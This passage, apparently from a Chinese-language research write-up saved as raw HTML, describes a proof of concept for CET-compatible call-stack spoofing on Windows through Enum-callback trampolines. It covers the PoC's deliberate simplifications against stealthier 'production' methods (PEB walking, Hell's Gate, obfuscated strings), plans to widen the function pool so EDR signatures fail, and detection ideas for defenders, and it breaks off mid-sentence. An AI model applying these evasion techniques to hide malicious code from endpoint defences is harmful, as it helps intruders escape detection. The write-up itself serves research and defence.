src="https://wechat2rss.xlab.app/img-proxy/?k=c23e78ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjwJGqUqw6LkNwLPQwyIhq8iaDEuG2J2qtVd6cf9iboaUpCh5hZfDpxuqmVmib7ynntR6CXPLX1ds5vx5c7zkuGVv6ISv09WL8VO4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">STATUS STACK BUFFER OVERRUN</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">STATUS STACK BUFFER OVERRUN</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Intel 手册对此很清楚，如果你仔细阅读：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPD</span></code><span leaf="">使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reg × 4</span></code><span leaf="">粒度，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reg × 8</span></code><span leaf="">。在 x64 上，始终使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">。没有任何场景下 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPD</span></code><span leaf="">对操作 64 位影子栈条目是正确的。我应该仅从操作码编码就发现这一点。我没有。现在你知道了。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">9. 关于此 PoC</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">9.1 有意简化的部分</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PoC 有意简化，以将焦点放在伪造技术和 CET 兼容上。有几件事刻意以非隐蔽方式完成：</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">方面</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">PoC 方式</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">生产方式</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">模块解析</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">GetModuleHandleW</span></code><p><span leaf="">+ </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">GetProcAddress</span></code></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">PEB 遍历，基于哈希的 API 解析</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">SSN 解析</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">每个操作系统硬编码查找表</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">通过桩解析动态获取（Hell&#39;s Gate 等）</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Enum 函数</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">单一（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">）</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">从 39 函数篮子随机选择</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">跳板搜索</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">仅扫描目标 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Zw</span></code><span leaf="">函数</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">扫描任意 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll</span></code><span leaf="">函数</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">错误处理</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">最小化</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">健壮</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">字符串</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">二进制中明文</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">加密/混淆</span></p></td></tr></tbody></table><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">9.2 这不是武器</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">让我非常直接：这个 PoC 无法通过任何像样的 EDR 的基本静态分析。它在二进制中有明文 API 名称字符串。它使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">GetModuleHandleW</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">GetProcAddress</span></code><span leaf="">进行函数解析，这些被大量监控。没有字符串混淆，没有反分析，什么都没有。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是刻意的。重点是证明通过 Enum 回调跳板实现 CET 兼容的调用栈伪造是可行的，而不是提供一个即用型、不可检测的植入体。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你是蓝队成员正在阅读此文，PoC 在其当前形式下是可轻易检测的。这项研究的价值在于理解技术，以便你能针对更复杂的实现构建防御。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">10. 未来工作</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最自然的下一步是扩展可用跳板函数池。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">候选函数的要求：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">必须接受</span><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">回调函数指针</span></strong><span leaf="">作为其参数之一</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">必须在正常执行期间</span><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">至少调用回调一次</span></strong></p></li><li style="margin: 15px 0px;"><p><span leaf="">必须</span><strong style="margin-top: 0px;"><span leaf="">在回调返回 0 时停止</span></strong><span leaf="">，以便成功的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">（返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">STATUS_SUCCESS</span></code><span leaf="">= 0）能干净地终止它</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">必须位于</span><strong style="margin-top: 0px;"><span leaf="">默认加载的模块</span></strong><span leaf="">中（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernel32.dll</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase.dll</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">），因为加载其他模块是可检测的</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对这三个 DLL 中所有接受回调的函数进行系统审计，可能会发现超出我找到的 39 个的更多候选。篮子中的函数越多，EDR 就越难基于哪个函数出现在栈上来构建签名。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">11. 检测与对策</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该技术产生看起来干净的栈，但它并非不可见。本节面向防御方。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">11.1 TEB ArbitraryUserPointer 监控</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该技术写入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TEB+0x28</span></code><span leaf="">。监控对此字段的写入（硬件断点、周期性采样）可以标记可疑值，特别是匹配 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EmbeddedContext</span></code><span leaf="">布局的指向栈内存的指针。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">11.2 影子栈与正常栈的分歧</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 CET 系统上，在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">和跳板中最终的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">之间，两个栈暂时不同步。在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">陷阱期间读取两者的内核模式监控器可以捕获这一点。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">11.3 启发式调用栈分析</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NtProtectVirtualMemory</span></code><span leaf="">从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Internal_EnumSystemLocales</span></code><span leaf="">内部被调用是不正常的。EDR 可以将&#34;预期&#34;的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">调用链加入白名单并标记偏差。在正常栈上训练的机器学习模型可以发现异常。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">11.4 Enum 回调行为分析</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在线程池工作项期间触发的回调（对区域设置枚举来说不寻常）或与敏感系统调用同时发生的回调可以被标记。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">11.5 线程池工作项画像</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 